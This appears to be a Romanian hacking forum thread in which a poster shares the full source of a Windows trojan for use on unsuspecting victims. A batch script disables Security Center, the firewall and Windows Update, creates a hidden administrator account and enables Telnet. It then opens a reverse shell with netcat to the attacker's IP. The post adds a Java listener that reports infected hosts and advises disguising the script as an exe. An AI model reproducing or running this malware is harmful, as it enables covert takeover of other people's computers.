Hack THIS DAY!
Where we are? IN YOUR PC!
|
Nou pe simpatie:
Kalifa
 | Femeie
24 ani
Ialomita
cauta Barbat
24 - 65 ani |
|
|
Hack THIS DAY!InregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
|
| #1 |
|
|
Partea trojanului:
-----------------------------------------------------------------------------------
@echo off
net stop "Security Center"
net stop SharedAccess
:next
:cmd
net user user /add
net localgroup administrators user /add
net user user pass
> "%Temp%.kill.reg" ECHO REGEDIT4
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TlntSvr]
>>"%Temp%.kill.reg" ECHO "ErrorControl"=dword:00000001
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000002
>>"%Temp%.kill.reg" ECHO "Type"=dword:00000010
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0]
>>"%Temp%.kill.reg" ECHO "NTLM"=dword:00000001
>>"%Temp%.kill.reg" ECHO "TelnetPort"=dword:00000017
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist]
>>"%Temp%.kill.reg" ECHO "user"=dword:00000000
START /WAIT REGEDIT /S "%Temp%.kill.reg"
del "%Temp%.kill.reg"
:next
:cmd
sc config tlntsvr start= auto
net start tlntsvr
:next
:cmd
telnet iP 5151
:next
:cmd
nc -d -e cmd.exe iP 4455
NUME.bat ... dupaia convertiti in .exe!Ghost APP ... pentru ca userul sa nu-si
dea seama ca este infectat.
-------------------------------------------------------------------------
Partea Serverului:
-------------------------------------------------------------------------
import java.net.*;
public class trojServer
{
public static void main(String args[])
{
try{
ServerSocket server = new ServerSocket(5151);
System.out.println("Waiting...");
Socket sock = server.accept();
System.out.println(sock);
}catch(Exception x){x.printStackTrace();}
}
}
trojanserver.java
Acest trojan va oprii securitatea Windows-ului , va creea un user nou cu pass si privilegii de administrator , FARA CA ACESTA SA ISI DEA SEAMA DE EXISTENTA LUI
LA URMATORUL RESTART , si va deschide severul de TELNET al windows-lui .
Pentru a copia / pune fisiere pe calculatorul infectat va trebuie un FTP.
Partea de SERVER ... va va notifica cand un n00b a rulat trojanul , si va va trmite IP-ul / port-ul n00bului.
|
|
| |
|
| #2 |
|
|
pe viitor voi incerca sa implementez si un sistem pentru oprirea anti-virushilor/firewall-urilor
|
|
| |
|
